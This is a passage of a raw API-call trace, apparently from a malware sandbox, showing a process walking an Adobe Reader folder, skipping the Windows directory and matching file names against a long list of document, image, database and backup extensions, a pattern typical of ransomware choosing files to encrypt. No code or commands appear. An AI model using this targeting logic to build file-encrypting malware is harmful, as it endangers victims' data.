(lpString1=".accde", lpString2="ngs.js") returned -1 [0271.707] lstrlenW (lpString=".accdt") returned 6 [0271.707] lstrcmpiW (lpString1=".accdt", lpString2="ngs.js") returned -1 [0271.707] lstrlenW (lpString=".accdw") returned 6 [0271.707] lstrcmpiW (lpString1=".accdw", lpString2="ngs.js") returned -1 [0271.707] lstrlenW (lpString=".adb") returned 4 [0271.707] lstrcmpiW (lpString1=".adb", lpString2="s.js") returned -1 [0271.707] lstrlenW (lpString=".adp") returned 4 [0271.707] lstrcmpiW (lpString1=".adp", lpString2="s.js") returned -1 [0271.707] lstrlenW (lpString=".ai") returned 3 [0271.707] lstrcmpiW (lpString1=".ai", lpString2=".js") returned -1 [0271.707] lstrlenW (lpString=".ai3") returned 4 [0271.707] lstrcmpiW (lpString1=".ai3", lpString2="s.js") returned -1 [0271.707] lstrlenW (lpString=".ai4") returned 4 [0271.707] lstrcmpiW (lpString1=".ai4", lpString2="s.js") returned -1 [0271.707] lstrlenW (lpString=".ai5") returned 4 [0271.707] lstrcmpiW (lpString1=".ai5", lpString2="s.js") returned -1 [0271.707] lstrlenW (lpString=".ai6") returned 4 [0271.707] lstrcmpiW (lpString1=".ai6", lpString2="s.js") returned -1 [0271.707] lstrlenW (lpString=".ai7") returned 4 [0271.707] lstrcmpiW (lpString1=".ai7", lpString2="s.js") returned -1 [0271.707] lstrlenW (lpString=".ai8") returned 4 [0271.707] lstrcmpiW (lpString1=".ai8", lpString2="s.js") returned -1 [0271.707] lstrlenW (lpString=".anim") returned 5 [0271.707] lstrcmpiW (lpString1=".anim", lpString2="gs.js") returned -1 [0271.708] lstrlenW (lpString=".arw") returned 4 [0271.708] lstrcmpiW (lpString1=".arw", lpString2="s.js") returned -1 [0271.708] lstrlenW (lpString=".as") returned 3 [0271.708] lstrcmpiW (lpString1=".as", lpString2=".js") returned -1 [0271.708] lstrlenW (lpString=".asa") returned 4 [0271.708] lstrcmpiW (lpString1=".asa", lpString2="s.js") returned -1 [0271.708] lstrlenW (lpString=".asc") returned 4 [0271.708] lstrcmpiW (lpString1=".asc", lpString2="s.js") returned -1 [0271.708] lstrlenW (lpString=".ascx") returned 5 [0271.708] lstrcmpiW (lpString1=".ascx", lpString2="gs.js") returned -1 [0271.708] lstrlenW (lpString=".asm") returned 4 [0271.708] lstrcmpiW (lpString1=".asm", lpString2="s.js") returned -1 [0271.708] lstrlenW (lpString=".asmx") returned 5 [0271.708] lstrcmpiW (lpString1=".asmx", lpString2="gs.js") returned -1 [0271.708] lstrlenW (lpString=".asp") returned 4 [0271.708] lstrcmpiW (lpString1=".asp", lpString2="s.js") returned -1 [0271.708] lstrlenW (lpString=".aspx") returned 5 [0271.708] lstrcmpiW (lpString1=".aspx", lpString2="gs.js") returned -1 [0271.708] lstrlenW (lpString=".asr") returned 4 [0271.708] lstrcmpiW (lpString1=".asr", lpString2="s.js") returned -1 [0271.708] lstrlenW (lpString=".asx") returned 4 [0271.708] lstrcmpiW (lpString1=".asx", lpString2="s.js") returned -1 [0271.708] lstrlenW (lpString=".avi") returned 4 [0271.708] lstrcmpiW (lpString1=".avi", lpString2="s.js") returned -1 [0271.708] lstrlenW (lpString=".avs") returned 4 [0271.708] lstrcmpiW (lpString1=".avs", lpString2="s.js") returned -1 [0271.709] lstrlenW (lpString=".backup") returned 7 [0271.709] lstrcmpiW (lpString1=".backup", lpString2="ings.js") returned -1 [0271.709] lstrlenW (lpString=".bak") returned 4 [0271.709] lstrcmpiW (lpString1=".bak", lpString2="s.js") returned -1 [0271.709] lstrlenW (lpString=".bay") returned 4 [0271.709] lstrcmpiW (lpString1=".bay", lpString2="s.js") returned -1 [0271.709] lstrlenW (lpString=".bd") returned 3 [0271.709] lstrcmpiW (lpString1=".bd", lpString2=".js") returned -1 [0271.709] lstrlenW (lpString=".bin") returned 4 [0271.709] lstrcmpiW (lpString1=".bin", lpString2="s.js") returned -1 [0271.709] lstrlenW (lpString=".bmp") returned 4 [0271.709] lstrcmpiW (lpString1=".bmp", lpString2="s.js") returned -1 [0271.709] lstrlenW (lpString=".bz2") returned 4 [0271.709] lstrcmpiW (lpString1=".bz2", lpString2="s.js") returned -1 [0271.709] lstrlenW (lpString=".c") returned 2 [0271.709] lstrcmpiW (lpString1=".c", lpString2="js") returned -1 [0271.709] lstrlenW (lpString=".cdr") returned 4 [0271.709] lstrcmpiW (lpString1=".cdr", lpString2="s.js") returned -1 [0271.709] lstrlenW (lpString=".cer") returned 4 [0271.709] lstrcmpiW (lpString1=".cer", lpString2="s.js") returned -1 [0271.709] lstrlenW (lpString=".cf") returned 3 [0271.709] lstrcmpiW (lpString1=".cf", lpString2=".js") returned -1 [0271.709] lstrlenW (lpString=".cfc") returned 4 [0271.709] lstrcmpiW (lpString1=".cfc", lpString2="s.js") returned -1 [0271.709] lstrlenW (lpString=".cfm") returned 4 [0271.709] lstrcmpiW (lpString1=".cfm", lpString2="s.js") returned -1 [0271.709] lstrlenW (lpString=".cfml") returned 5 [0271.710] lstrcmpiW (lpString1=".cfml", lpString2="gs.js") returned -1 [0271.710] lstrlenW (lpString=".cfu") returned 4 [0271.710] lstrcmpiW (lpString1=".cfu", lpString2="s.js") returned -1 [0271.710] lstrlenW (lpString=".chm") returned 4 [0271.710] lstrcmpiW (lpString1=".chm", lpString2="s.js") returned -1 [0271.710] lstrlenW (lpString=".cin") returned 4 [0271.710] lstrcmpiW (lpString1=".cin", lpString2="s.js") returned -1 [0271.710] lstrlenW (lpString=".class") returned 6 [0271.710] lstrcmpiW (lpString1=".class", lpString2="ngs.js") returned -1 [0271.710] lstrlenW (lpString=".clx") returned 4 [0271.710] lstrcmpiW (lpString1=".clx", lpString2="s.js") returned -1 [0271.710] lstrlenW (lpString=".config") returned 7 [0271.710] lstrcmpiW (lpString1=".config", lpString2="ings.js") returned -1 [0271.710] lstrlenW (lpString=".cpp") returned 4 [0271.710] lstrcmpiW (lpString1=".cpp", lpString2="s.js") returned -1 [0271.710] lstrlenW (lpString=".cr2") returned 4 [0271.710] lstrcmpiW (lpString1=".cr2", lpString2="s.js") returned -1 [0271.710] lstrlenW (lpString=".crt") returned 4 [0271.710] lstrcmpiW (lpString1=".crt", lpString2="s.js") returned -1 [0271.710] lstrlenW (lpString=".crw") returned 4 [0271.710] lstrcmpiW (lpString1=".crw", lpString2="s.js") returned -1 [0271.710] lstrlenW (lpString=".cs") returned 3 [0271.710] lstrcmpiW (lpString1=".cs", lpString2=".js") returned -1 [0271.711] lstrlenW (lpString=".css") returned 4 [0271.711] lstrcmpiW (lpString1=".css", lpString2="s.js") returned -1 [0271.711] lstrlenW (lpString=".csv") returned 4 [0271.711] lstrcmpiW (lpString1=".csv", lpString2="s.js") returned -1 [0271.711] lstrlenW (lpString=".cub") returned 4 [0271.711] lstrcmpiW (lpString1=".cub", lpString2="s.js") returned -1 [0271.711] lstrlenW (lpString=".dae") returned 4 [0271.711] lstrcmpiW (lpString1=".dae", lpString2="s.js") returned -1 [0271.711] lstrlenW (lpString=".dat") returned 4 [0271.711] lstrcmpiW (lpString1=".dat", lpString2="s.js") returned -1 [0271.711] lstrlenW (lpString=".db") returned 3 [0271.711] lstrcmpiW (lpString1=".db", lpString2=".js") returned -1 [0271.711] lstrlenW (lpString=".dbf") returned 4 [0271.711] lstrcmpiW (lpString1=".dbf", lpString2="s.js") returned -1 [0271.711] lstrlenW (lpString=".dbx") returned 4 [0271.711] lstrcmpiW (lpString1=".dbx", lpString2="s.js") returned -1 [0271.711] lstrlenW (lpString=".dc3") returned 4 [0271.711] lstrcmpiW (lpString1=".dc3", lpString2="s.js") returned -1 [0271.711] lstrlenW (lpString=".dcm") returned 4 [0271.711] lstrcmpiW (lpString1=".dcm", lpString2="s.js") returned -1 [0271.711] lstrlenW (lpString=".dcr") returned 4 [0271.711] lstrcmpiW (lpString1=".dcr", lpString2="s.js") returned -1 [0271.711] lstrlenW (lpString=".der") returned 4 [0271.711] lstrcmpiW (lpString1=".der", lpString2="s.js") returned -1 [0271.711] lstrlenW (lpString=".dib") returned 4 [0271.711] lstrcmpiW (lpString1=".dib", lpString2="s.js") returned -1 [0271.711] lstrlenW (lpString=".dic") returned 4 [0271.711] lstrcmpiW (lpString1=".dic", lpString2="s.js") returned -1 [0271.712] lstrlenW (lpString=".dif") returned 4 [0271.712] lstrcmpiW (lpString1=".dif", lpString2="s.js") returned -1 [0271.712] lstrlenW (lpString=".divx") returned 5 [0271.712] lstrcmpiW (lpString1=".divx", lpString2="gs.js") returned -1 [0271.712] lstrlenW (lpString=".djvu") returned 5 [0271.712] lstrcmpiW (lpString1=".djvu", lpString2="gs.js") returned -1 [0271.712] lstrlenW (lpString=".dng") returned 4 [0271.712] lstrcmpiW (lpString1=".dng", lpString2="s.js") returned -1 [0271.712] lstrlenW (lpString=".doc") returned 4 [0271.712] lstrcmpiW (lpString1=".doc", lpString2="s.js") returned -1 [0271.712] lstrlenW (lpString=".docm") returned 5 [0271.712] lstrcmpiW (lpString1=".docm", lpString2="gs.js") returned -1 [0271.712] lstrlenW (lpString=".docx") returned 5 [0271.712] lstrcmpiW (lpString1=".docx", lpString2="gs.js") returned -1 [0271.712] lstrlenW (lpString=".dot") returned 4 [0271.712] lstrcmpiW (lpString1=".dot", lpString2="s.js") returned -1 [0271.712] lstrlenW (lpString=".dotm") returned 5 [0271.712] lstrcmpiW (lpString1=".dotm", lpString2="gs.js") returned -1 [0271.712] lstrlenW (lpString=".dotx") returned 5 [0271.712] lstrcmpiW (lpString1=".dotx", lpString2="gs.js") returned -1 [0271.712] lstrlenW (lpString=".dpx") returned 4 [0271.712] lstrcmpiW (lpString1=".dpx", lpString2="s.js") returned -1 [0271.713] lstrlenW (lpString=".dqy") returned 4 [0271.713] lstrcmpiW (lpString1=".dqy", lpString2="s.js") returned -1 [0271.713] lstrlenW (lpString=".dsn") returned 4 [0271.713] lstrcmpiW (lpString1=".dsn", lpString2="s.js") returned -1 [0271.713] lstrlenW (lpString=".dt") returned 3 [0271.713] lstrcmpiW (lpString1=".dt", lpString2=".js") returned -1 [0271.713] lstrlenW (lpString=".dtd") returned 4 [0271.713] lstrcmpiW (lpString1=".dtd", lpString2="s.js") returned -1 [0271.713] lstrlenW (lpString=".dwg") returned 4 [0271.713] lstrcmpiW (lpString1=".dwg", lpString2="s.js") returned -1 [0271.713] lstrlenW (lpString=".dwt") returned 4 [0271.713] lstrcmpiW (lpString1=".dwt", lpString2="s.js") returned -1 [0271.713] lstrlenW (lpString=".dx") returned 3 [0271.713] lstrcmpiW (lpString1=".dx", lpString2=".js") returned -1 [0271.713] lstrlenW (lpString=".dxf") returned 4 [0271.713] lstrcmpiW (lpString1=".dxf", lpString2="s.js") returned -1 [0271.713] lstrlenW (lpString=".edml") returned 5 [0271.713] lstrcmpiW (lpString1=".edml", lpString2="gs.js") returned -1 [0271.713] lstrlenW (lpString=".efd") returned 4 [0271.713] lstrcmpiW (lpString1=".efd", lpString2="s.js") returned -1 [0271.713] lstrlenW (lpString=".elf") returned 4 [0271.713] lstrcmpiW (lpString1=".elf", lpString2="s.js") returned -1 [0271.714] lstrlenW (lpString=".emf") returned 4 [0271.714] lstrcmpiW (lpString1=".emf", lpString2="s.js") returned -1 [0271.714] lstrlenW (lpString=".emz") returned 4 [0271.714] lstrcmpiW (lpString1=".emz", lpString2="s.js") returned -1 [0271.714] lstrlenW (lpString=".epf") returned 4 [0271.714] lstrcmpiW (lpString1=".epf", lpString2="s.js") returned -1 [0271.714] lstrlenW (lpString=".eps") returned 4 [0271.714] lstrcmpiW (lpString1=".eps", lpString2="s.js") returned -1 [0271.714] lstrlenW (lpString=".epsf") returned 5 [0271.714] lstrcmpiW (lpString1=".epsf", lpString2="gs.js") returned -1 [0271.714] lstrlenW (lpString=".epsp") returned 5 [0271.714] lstrcmpiW (lpString1=".epsp", lpString2="gs.js") returned -1 [0271.714] lstrlenW (lpString=".erf") returned 4 [0271.714] lstrcmpiW (lpString1=".erf", lpString2="s.js") returned -1 [0271.714] lstrlenW (lpString=".exr") returned 4 [0271.714] lstrcmpiW (lpString1=".exr", lpString2="s.js") returned -1 [0271.714] lstrlenW (lpString=".f4v") returned 4 [0271.714] lstrcmpiW (lpString1=".f4v", lpString2="s.js") returned -1 [0271.714] lstrlenW (lpString=".fido") returned 5 [0271.714] lstrcmpiW (lpString1=".fido", lpString2="gs.js") returned -1 [0271.714] lstrlenW (lpString=".flm") returned 4 [0271.714] lstrcmpiW (lpString1=".flm", lpString2="s.js") returned -1 [0271.714] lstrlenW (lpString=".flv") returned 4 [0271.714] lstrcmpiW (lpString1=".flv", lpString2="s.js") returned -1 [0271.714] lstrlenW (lpString=".frm") returned 4 [0271.714] lstrcmpiW (lpString1=".frm", lpString2="s.js") returned -1 [0271.714] lstrlenW (lpString=".fxg") returned 4 [0271.715] lstrcmpiW (lpString1=".fxg", lpString2="s.js") returned -1 [0271.715] lstrlenW (lpString=".geo") returned 4 [0271.715] lstrcmpiW (lpString1=".geo", lpString2="s.js") returned -1 [0271.715] lstrlenW (lpString=".gif") returned 4 [0271.715] lstrcmpiW (lpString1=".gif", lpString2="s.js") returned -1 [0271.715] lstrlenW (lpString=".grs") returned 4 [0271.715] lstrcmpiW (lpString1=".grs", lpString2="s.js") returned -1 [0271.715] lstrlenW (lpString=".gz") returned 3 [0271.715] lstrcmpiW (lpString1=".gz", lpString2=".js") returned -1 [0271.715] lstrlenW (lpString=".h") returned 2 [0271.715] lstrcmpiW (lpString1=".h", lpString2="js") returned -1 [0271.715] lstrlenW (lpString=".hdr") returned 4 [0271.715] lstrcmpiW (lpString1=".hdr", lpString2="s.js") returned -1 [0271.715] lstrlenW (lpString=".hpp") returned 4 [0271.715] lstrcmpiW (lpString1=".hpp", lpString2="s.js") returned -1 [0271.715] lstrlenW (lpString=".hta") returned 4 [0271.715] lstrcmpiW (lpString1=".hta", lpString2="s.js") returned -1 [0271.715] lstrlenW (lpString=".htc") returned 4 [0271.715] lstrcmpiW (lpString1=".htc", lpString2="s.js") returned -1 [0271.715] lstrlenW (lpString=".htm") returned 4 [0271.715] lstrcmpiW (lpString1=".htm", lpString2="s.js") returned -1 [0271.715] lstrlenW (lpString=".html") returned 5 [0271.715] lstrcmpiW (lpString1=".html", lpString2="gs.js") returned -1 [0271.715] lstrlenW (lpString=".icb") returned 4 [0271.715] lstrcmpiW (lpString1=".icb", lpString2="s.js") returned -1 [0271.715] lstrlenW (lpString=".ics") returned 4 [0271.715] lstrcmpiW (lpString1=".ics", lpString2="s.js") returned -1 [0271.716] lstrlenW (lpString=".iff") returned 4 [0271.716] lstrcmpiW (lpString1=".iff", lpString2="s.js") returned -1 [0271.716] lstrlenW (lpString=".inc") returned 4 [0271.716] lstrcmpiW (lpString1=".inc", lpString2="s.js") returned -1 [0271.716] lstrlenW (lpString=".indd") returned 5 [0271.716] lstrcmpiW (lpString1=".indd", lpString2="gs.js") returned -1 [0271.716] lstrlenW (lpString=".ini") returned 4 [0271.716] lstrcmpiW (lpString1=".ini", lpString2="s.js") returned -1 [0271.716] lstrlenW (lpString=".iqy") returned 4 [0271.716] lstrcmpiW (lpString1=".iqy", lpString2="s.js") returned -1 [0271.716] lstrlenW (lpString=".j2c") returned 4 [0271.716] lstrcmpiW (lpString1=".j2c", lpString2="s.js") returned -1 [0271.716] lstrlenW (lpString=".j2k") returned 4 [0271.716] lstrcmpiW (lpString1=".j2k", lpString2="s.js") returned -1 [0271.716] lstrlenW (lpString=".java") returned 5 [0271.716] lstrcmpiW (lpString1=".java", lpString2="gs.js") returned -1 [0271.716] lstrlenW (lpString=".jp2") returned 4 [0271.716] lstrcmpiW (lpString1=".jp2", lpString2="s.js") returned -1 [0271.716] lstrlenW (lpString=".jpc") returned 4 [0271.716] lstrcmpiW (lpString1=".jpc", lpString2="s.js") returned -1 [0271.716] lstrlenW (lpString=".jpe") returned 4 [0271.716] lstrcmpiW (lpString1=".jpe", lpString2="s.js") returned -1 [0271.716] lstrlenW (lpString=".jpeg") returned 5 [0271.716] lstrcmpiW (lpString1=".jpeg", lpString2="gs.js") returned -1 [0271.716] lstrlenW (lpString=".jpf") returned 4 [0271.716] lstrcmpiW (lpString1=".jpf", lpString2="s.js") returned -1 [0271.716] lstrlenW (lpString=".jpg") returned 4 [0271.716] lstrcmpiW (lpString1=".jpg", lpString2="s.js") returned -1 [0271.717] lstrlenW (lpString=".jpx") returned 4 [0271.717] lstrcmpiW (lpString1=".jpx", lpString2="s.js") returned -1 [0271.717] lstrlenW (lpString=".js") returned 3 [0271.717] lstrcmpiW (lpString1=".js", lpString2=".js") returned 0 [0271.717] FindNextFileW (in: hFindFile=0x3315b70, lpFindFileData=0x396dcac | out: lpFindFileData=0x396dcac*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xeea02b54, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeea02b54, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeea02b54, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x7ed, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 0 [0271.717] FindClose (in: hFindFile=0x3315b70 | out: hFindFile=0x3315b70) returned 1 [0271.717] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x42b0fd0 | out: hHeap=0x670000) returned 1 [0271.717] FindNextFileW (in: hFindFile=0x3315830, lpFindFileData=0x396df28 | out: lpFindFileData=0x396df28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeea28dac, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeea28dac, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeea28dac, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ko-kr", cAlternateFileName="")) returned 1 [0271.717] lstrlenW (lpString="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\add-account\\js\\nls\\ko-kr") returned 119 [0271.717] lstrcmpiW (lpString1="C:\\WINDOWS", lpString2="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\add-account\\js\\nls\\ko-kr") returned 1 [0271.717] lstrlenW (lpString="ko-kr") returned 5 [0271.717] lstrcmpiW (lpString1="C:\\WINDOWS", lpString2="ko-kr") returned -1 [0271.717] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0xfffe) returned 0x42b0fd0 [0271.717] lstrlenW (lpString="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\add-account\\js\\nls\\ko-kr") returned 119 [0271.717] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\add-account\\js\\nls\\ko-kr\\*", lpFindFileData=0x396dcac | out: lpFindFileData=0x396dcac*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeea28dac, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeea28dac, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeea28dac, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName=".", cAlternateFileName="")) returned 0x3315ab0 [0271.719] FindNextFileW (in: hFindFile=0x3315ab0, lpFindFileData=0x396dcac | out: lpFindFileData=0x396dcac*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeea28dac, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeea28dac, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeea28dac, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="..", cAlternateFileName="")) returned 1 [0271.719] FindNextFileW (in: hFindFile=0x3315ab0, lpFindFileData=0x396dcac | out: lpFindFileData=0x396dcac*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xeea28dac, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeea28dac, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeea28dac, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x739, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 1 [0271.719] lstrlenW (lpString="ui-strings.js") returned 13 [0271.719] lstrlenW (lpString=".1cd") returned 4 [0271.719] lstrcmpiW (lpString1=".1cd", lpString2="s.js") returned -1 [0271.719] lstrlenW (lpString=".3ds") returned 4 [0271.719] lstrcmpiW (lpString1=".3ds", lpString2="s.js") returned -1 [0271.719] lstrlenW (lpString=".3fr") returned 4 [0271.719] lstrcmpiW (lpString1=".3fr", lpString2="s.js") returned -1 [0271.719] lstrlenW (lpString=".3g2") returned 4 [0271.719] lstrcmpiW (lpString1=".3g2", lpString2="s.js") returned -1 [0271.719] lstrlenW (lpString=".3gp") returned 4 [0271.719] lstrcmpiW (lpString1=".3gp", lpString2="s.js") returned -1 [0271.719] lstrlenW (lpString=".7z") returned 3 [0271.719] lstrcmpiW (lpString1=".7z", lpString2=".js") returned -1 [0271.719] lstrlenW (lpString=".accda") returned 6 [0271.720] lstrcmpiW (lpString1=".accda", lpString2="ngs.js") returned -1 [0271.720] lstrlenW (lpString=".accdb") returned 6 [0271.720] lstrcmpiW (lpString1=".accdb", lpString2="ngs.js") returned -1 [0271.720] lstrlenW (lpString=".accdc") returned 6 [0271.720] lstrcmpiW (lpString1=".accdc", lpString2="ngs.js") returned -1 [0271.720] lstrlenW (lpString=".accde") returned 6 [0271.720] lstrcmpiW (lpString1=".accde", lpString2="ngs.js") returned -1 [0271.720] lstrlenW (lpString=".accdt") returned 6 [0271.720] lstrcmpiW (lpString1=".accdt", lpString2="ngs.js") returned -1 [0271.720] lstrlenW (lpString=".accdw") returned 6 [0271.720] lstrcmpiW (lpString1=".accdw", lpString2="ngs.js") returned -1 [0271.720] lstrlenW (lpString=".adb") returned 4 [0271.720] lstrcmpiW (lpString1=".adb", lpString2="s.js") returned -1 [0271.720] lstrlenW (lpString=".adp") returned 4 [0271.720] lstrcmpiW (lpString1=".adp", lpString2="s.js") returned -1 [0271.720] lstrlenW (lpString=".ai") returned 3 [0271.720] lstrcmpiW (lpString1=".ai", lpString2=".js") returned -1 [0271.720] lstrlenW (lpString=".ai3") returned 4 [0271.720] lstrcmpiW (lpString1=".ai3", lpString2="s.js") returned -1 [0271.720] lstrlenW (lpString=".ai4") returned 4 [0271.720] lstrcmpiW (lpString1=".ai4", lpString2="s.js") returned -1 [0271.720] lstrlenW (lpString=".ai5") returned 4 [0271.720] lstrcmpiW (lpString1=".ai5", lpString2="s.js") returned -1 [0271.721] lstrlenW (lpString=".ai6") returned 4 [0271.721] lstrcmpiW (lpString1=".ai6", lpString2="s.js") returned -1 [0271.721] lstrlenW (lpString=".ai7") returned 4 [0271.721] lstrcmpiW (lpString1=".ai7", lpString2="s.js") returned -1 [0271.721] lstrlenW (lpString=".ai8") returned 4 [0271.721] lstrcmpiW (lpString1=".ai8", lpString2="s.js") returned -1 [0271.721] lstrlenW (lpString=".anim") returned 5 [0271.721] lstrcmpiW (lpString1=".anim", lpString2="gs.js") returned -1 [0271.721] lstrlenW (lpString=".arw") returned 4 [0271.721] lstrcmpiW (lpString1=".arw", lpString2="s.js") returned -1 [0271.721] lstrlenW (lpString=".as") returned 3 [0271.721] lstrcmpiW (lpString1=".as", lpString2=".js") returned -1 [0271.721] lstrlenW (lpString=".asa") returned 4 [0271.721] lstrcmpiW (lpString1=".asa", lpString2="s.js") returned -1 [0271.721] lstrlenW (lpString=".asc") returned 4 [0271.721] lstrcmpiW (lpString1=".asc", lpString2="s.js") returned -1 [0271.721] lstrlenW (lpString=".ascx") returned 5 [0271.721] lstrcmpiW (lpString1=".ascx", lpString2="gs.js") returned -1 [0271.721] lstrlenW (lpString=".asm") returned 4 [0271.721] lstrcmpiW (lpString1=".asm", lpString2="s.js") returned -1 [0271.721] lstrlenW (lpString=".asmx") returned 5 [0271.721] lstrcmpiW (lpString1=".asmx", lpString2="gs.js") returned -1 [0271.721] lstrlenW (lpString=".asp") returned 4 [0271.722] lstrcmpiW (lpString1=".asp", lpString2="s.js") returned -1 [0271.722] lstrlenW (lpString=".aspx") returned 5 [0271.722] lstrcmpiW (lpString1=".aspx", lpString2="gs.js") returned -1 [0271.722] lstrlenW (lpString=".asr") returned 4 [0271.722] lstrcmpiW (lpString1=".asr", lpString2="s.js") returned -1 [0271.722] lstrlenW (lpString=".asx") returned 4 [0271.722] lstrcmpiW (lpString1=".asx", lpString2="s.js") returned -1 [0271.722] lstrlenW (lpString=".avi") returned 4 [0271.722] lstrcmpiW (lpString1=".avi", lpString2="s.js") returned -1 [0271.722] lstrlenW (lpString=".avs") returned 4 [0271.722] lstrcmpiW (lpString1=".avs", lpString2="s.js") returned -1 [0271.722] lstrlenW (lpString=".backup") returned 7 [0271.722] lstrcmpiW (lpString1=".backup", lpString2="ings.js") returned -1 [0271.722] lstrlenW (lpString=".bak") returned 4 [0271.722] lstrcmpiW (lpString1=".bak", lpString2="s.js") returned -1 [0271.722] lstrlenW (lpString=".bay") returned 4 [0271.722] lstrcmpiW (lpString1=".bay", lpString2="s.js") returned -1 [0271.722] lstrlenW (lpString=".bd") returned 3 [0271.723] lstrcmpiW (lpString1=".bd", lpString2=".js") returned -1 [0271.723] lstrlenW (lpString=".bin") returned 4 [0271.723] lstrcmpiW (lpString1=".bin", lpString2="s.js") returned -1 [0271.723] lstrlenW (lpString=".bmp") returned 4 [0271.723] lstrcmpiW (lpString1=".bmp", lpString2="s.js") returned -1 [0271.723] lstrlenW (lpString=".bz2") returned 4 [0271.723] lstrcmpiW (lpString1=".bz2", lpString2="s.js") returned -1 [0271.723] lstrlenW (lpString=".c") returned 2 [0271.723] lstrcmpiW (lpString1=".c", lpString2="js") returned -1 [0271.723] lstrlenW (lpString=".cdr") returned 4 [0271.723] lstrcmpiW (lpString1=".cdr", lpString2="s.js") returned -1 [0271.723] lstrlenW (lpString=".cer") returned 4 [0271.723] lstrcmpiW (lpString1=".cer", lpString2="s.js") returned -1 [0271.723] lstrlenW (lpString=".cf") returned 3 [0271.723] lstrcmpiW (lpString1=".cf", lpString2=".js") returned -1 [0271.723] lstrlenW (lpString=".cfc") returned 4 [0271.723] lstrcmpiW (lpString1=".cfc", lpString2="s.js") returned -1 [0271.723] lstrlenW (lpString=".cfm") returned 4 [0271.723] lstrcmpiW (lpString1=".cfm", lpString2="s.js") returned -1 [0271.723] lstrlenW (lpString=".cfml") returned 5 [0271.723] lstrcmpiW (lpString1=".cfml", lpString2="gs.js") returned -1 [0271.723] lstrlenW (lpString=".cfu") returned 4 [0271.723] lstrcmpiW (lpString1=".cfu", lpString2="s.js") returned -1 [0271.723] lstrlenW (lpString=".chm") returned 4 [0271.723] lstrcmpiW (lpString1=".chm", lpString2="s.js") returned -1 [0271.724] lstrlenW (lpString=".cin") returned 4 [0271.724] lstrcmpiW (lpString1=".cin", lpString2="s.js") returned -1 [0271.724] lstrlenW (lpString=".class") returned 6 [0271.724] lstrcmpiW (lpString1=".class", lpString2="ngs.js") returned -1 [0271.724] lstrlenW (lpString=".clx") returned 4 [0271.724] lstrcmpiW (lpString1=".clx", lpString2="s.js") returned -1 [0271.724] lstrlenW (lpString=".config") returned 7 [0271.724] lstrcmpiW (lpString1=".config", lpString2="ings.js") returned -1 [0271.724] lstrlenW (lpString=".cpp") returned 4 [0271.724] lstrcmpiW (lpString1=".cpp", lpString2="s.js") returned -1 [0271.724] lstrlenW (lpString=".cr2") returned 4 [0271.724] lstrcmpiW (lpString1=".cr2", lpString2="s.js") returned -1 [0271.724] lstrlenW (lpString=".crt") returned 4 [0271.724] lstrcmpiW (lpString1=".crt", lpString2="s.js") returned -1 [0271.724] lstrlenW (lpString=".crw") returned 4 [0271.724] lstrcmpiW (lpString1=".crw", lpString2="s.js") returned -1 [0271.724] lstrlenW (lpString=".cs") returned 3 [0271.724] lstrcmpiW (lpString1=".cs", lpString2=".js") returned -1 [0271.724] lstrlenW (lpString=".css") returned 4 [0271.724] lstrcmpiW (lpString1=".css", lpString2="s.js") returned -1 [0271.724] lstrlenW (lpString=".csv") returned 4 [0271.724] lstrcmpiW (lpString1=".csv", lpString2="s.js") returned -1 [0271.724] lstrlenW (lpString=".cub") returned 4 [0271.724] lstrcmpiW (lpString1=".cub", lpString2="s.js") returned -1 [0271.724] lstrlenW (lpString=".dae") returned 4 [0271.724] lstrcmpiW (lpString1=".dae", lpString2="s.js") returned -1 [0271.724] lstrlenW (lpString=".dat") returned 4 [0271.724] lstrcmpiW (lpString1=".dat", lpString2="s.js") returned -1 [0271.724] lstrlenW (lpString=".db") returned 3 [0271.725] lstrcmpiW (lpString1=".db", lpString2=".js") returned -1 [0271.725] lstrlenW (lpString=".dbf") returned 4 [0271.725] lstrcmpiW (lpString1=".dbf", lpString2="s.js") returned -1 [0271.725] lstrlenW 